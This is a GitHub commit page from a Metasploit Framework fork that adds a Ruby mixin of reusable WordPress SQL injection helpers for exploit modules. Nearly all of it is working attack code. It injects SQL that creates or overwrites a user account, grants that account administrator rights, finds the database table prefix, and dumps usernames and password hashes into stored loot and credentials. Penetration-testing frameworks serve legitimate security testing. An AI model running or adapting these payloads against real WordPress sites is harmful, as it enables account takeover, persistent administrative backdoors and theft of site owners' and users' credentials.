forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land rapid7#19497, add Wordpress SQLi Mixin
Land rapid7#19497, add Wordpress SQLi Mixin
- Loading branch information
Showing
1 changed file
with
200 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,200 @@ | ||
module Msf | ||
# This module provides reusable SQLi (SQL Injection) helper functions | ||
# for WordPress exploits in Metasploit Framework. These functions allow | ||
# for actions such as creating new users, granting privileges, and | ||
# dumping user credentials via SQL injection vulnerabilities in WordPress. | ||
# | ||
# Usage: | ||
# Include this module in your exploit or auxiliary module and use | ||
# the provided functions to simplify SQL injection logic. | ||
module Exploit::Remote::HTTP::Wordpress::SQLi | ||
include Msf::Exploit::SQLi | ||
|
||
# Function to initialize the SQLi instance in the mixin. | ||
# | ||
# This function sets up the SQLi instance that is initialized in the exploit module. | ||
# The SQLi instance is passed as a parameter to ensure it is accessible within the mixin | ||
# and can be used for executing SQL injection queries. | ||
# | ||
# @param sqli [Object] The SQLi instance initialized in the exploit module. | ||
# @return [void] | ||
def wordpress_sqli_initialize(sqli) | ||
@sqli = sqli | ||
@prefix = wordpress_sqli_identify_table_prefix | ||
end | ||
|
||
# Inject an user into the WordPress database, creating or updating an entry. | ||
# | ||
# This method either creates a new user entry in the 'users' table or updates an existing one. | ||
# If the user already exists, their password, nicename, email, and display name will be updated. | ||
# Otherwise, a new user will be created with the provided credentials and default values. | ||
# The password is hashed using MD5 for compatibility with older WordPress versions. | ||
# | ||
# @param username [String] The username for the new or updated user. | ||
# @param password [String] The password for the new user (stored as an MD5 hash). | ||
# @param email [String] The email for the new user. | ||
# @return [void] | ||
def wordpress_sqli_create_user(username, password, email) | ||
query = <<-SQL | ||
INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) | ||
SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}' | ||
FROM #{@prefix}users | ||
WHERE NOT EXISTS ( | ||
SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}' | ||
) | ||
LIMIT 1 | ||
ON DUPLICATE KEY UPDATE | ||
user_pass = MD5('#{password}'), | ||
user_nicename = '#{username}', | ||
user_email = '#{email}', | ||
display_name = '#{username}' | ||
SQL | ||
|
||
@sqli.raw_run_sql(query.strip.gsub(/\s+/, ' ')) | ||
|
||
vprint_status("{WPSQLi} User '#{username}' created or updated successfully.") | ||
end | ||
|
||
# Grant admin privileges to the specified user by creating or updating the appropriate meta entry. | ||
# | ||
# This method either creates a new entry in the 'usermeta' table or updates an existing one | ||
# to grant administrator capabilities to the specified user. If the entry for the user's | ||
# capabilities already exists, it will be updated to assign administrator privileges. | ||
# If the entry does not exist, a new one will be created. | ||
# | ||
# @param username [String] The username of the user to grant privileges to. | ||
# @return [void] | ||
def wordpress_sqli_grant_admin_privileges(username) | ||
admin_query = <<-SQL | ||
INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value) | ||
SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}' | ||
FROM #{@prefix}users | ||
WHERE user_login = '#{username}' | ||
ON DUPLICATE KEY UPDATE | ||
meta_value = 'a:1:{s:13:"administrator";s:1:"1";}' | ||
SQL | ||
|
||
@sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' ')) | ||
vprint_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.") | ||
end | ||
|
||
# Identify the table prefix for the WordPress installation | ||
# | ||
# @return [String] The detected table prefix | ||
# @raise [Failure::UnexpectedReply] If the table prefix could not be detected | ||
def wordpress_sqli_identify_table_prefix | ||
indicator = rand(0..19) | ||
random_alias = Rex::Text.rand_text_alpha(1..5) | ||
default_prefix_check = "SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'" | ||
result = @sqli.run_sql(default_prefix_check)&.to_i | ||
|
||
if result == indicator | ||
vprint_status("{WPSQLi} Retrieved default table prefix: 'wp_'") | ||
return 'wp_' | ||
end | ||
vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...') | ||
|
||
query = <<-SQL | ||
SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users')) | ||
FROM information_schema.tables | ||
WHERE table_schema = database() | ||
AND table_name LIKE '%\\_users' | ||
AND (SELECT COUNT(*) | ||
FROM information_schema.columns #{random_alias} | ||
WHERE #{random_alias}.table_schema = tables.table_schema | ||
AND #{random_alias}.table_name = tables.table_name | ||
AND #{random_alias}.column_name IN ('user_login', 'user_pass') | ||
) = 2 | ||
LIMIT 1 | ||
SQL | ||
|
||
prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' ')) | ||
unless prefix && !prefix.strip.empty? | ||
print_error('{WPSQLi} Unable to detect the table prefix.') | ||
return nil | ||
end | ||
|
||
vprint_status("{WPSQLi} Custom table prefix detected: '#{prefix}'") | ||
|
||
prefix | ||
end | ||
|
||
# Get users' credentials from the wp_users table | ||
# | ||
# @param count [Integer] The number of users to retrieve (default: 10) | ||
# @return [Array<Array>] Array of arrays containing user login and password hash | ||
def wordpress_sqli_get_users_credentials(count = 10) | ||
columns = ['user_login', 'user_pass'] | ||
data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count) | ||
|
||
table = Rex::Text::Table.new( | ||
'Header' => "#{@prefix}users", | ||
'Indent' => 4, | ||
'Columns' => columns | ||
) | ||
|
||
loot_data = '' | ||
data.each do |user| | ||
table << user | ||
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n" | ||
|
||
create_credential({ | ||
workspace_id: myworkspace_id, | ||
origin_type: :service, | ||
module_fullname: fullname, | ||
username: user[0], | ||
private_type: :nonreplayable_hash, | ||
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]), | ||
private_data: user[1], | ||
service_name: 'WordPress', | ||
address: datastore['RHOST'], | ||
port: datastore['RPORT'], | ||
protocol: 'tcp', | ||
status: Metasploit::Model::Login::Status::UNTRIED | ||
}) | ||
|
||
vprint_good("{WPSQLi} Credential for user '#{user[0]}' created successfully.") | ||
end | ||
|
||
vprint_status('{WPSQLi} Dumped user data:') | ||
print_line(table.to_s) | ||
|
||
loot_path = store_loot( | ||
'wordpress.users', | ||
'text/plain', | ||
datastore['RHOST'], | ||
loot_data, | ||
'wp_users.txt', | ||
'WordPress Usernames and Password Hashes' | ||
) | ||
|
||
print_good("Loot saved to: #{loot_path}") | ||
|
||
vprint_status('{WPSQLi} Reporting host...') | ||
report_host(host: datastore['RHOST']) | ||
|
||
vprint_status('{WPSQLi} Reporting service...') | ||
report_service( | ||
host: datastore['RHOST'], | ||
port: datastore['RPORT'], | ||
proto: 'tcp', | ||
name: fullname, | ||
info: description.strip | ||
) | ||
|
||
vprint_status('{WPSQLi} Reporting vulnerability...') | ||
report_vuln( | ||
host: datastore['RHOST'], | ||
port: datastore['RPORT'], | ||
proto: 'tcp', | ||
name: fullname, | ||
refs: references, | ||
info: description.strip | ||
) | ||
|
||
vprint_good('{WPSQLi} Reporting completed successfully.') | ||
|
||
return data | ||
end | ||
end | ||
end |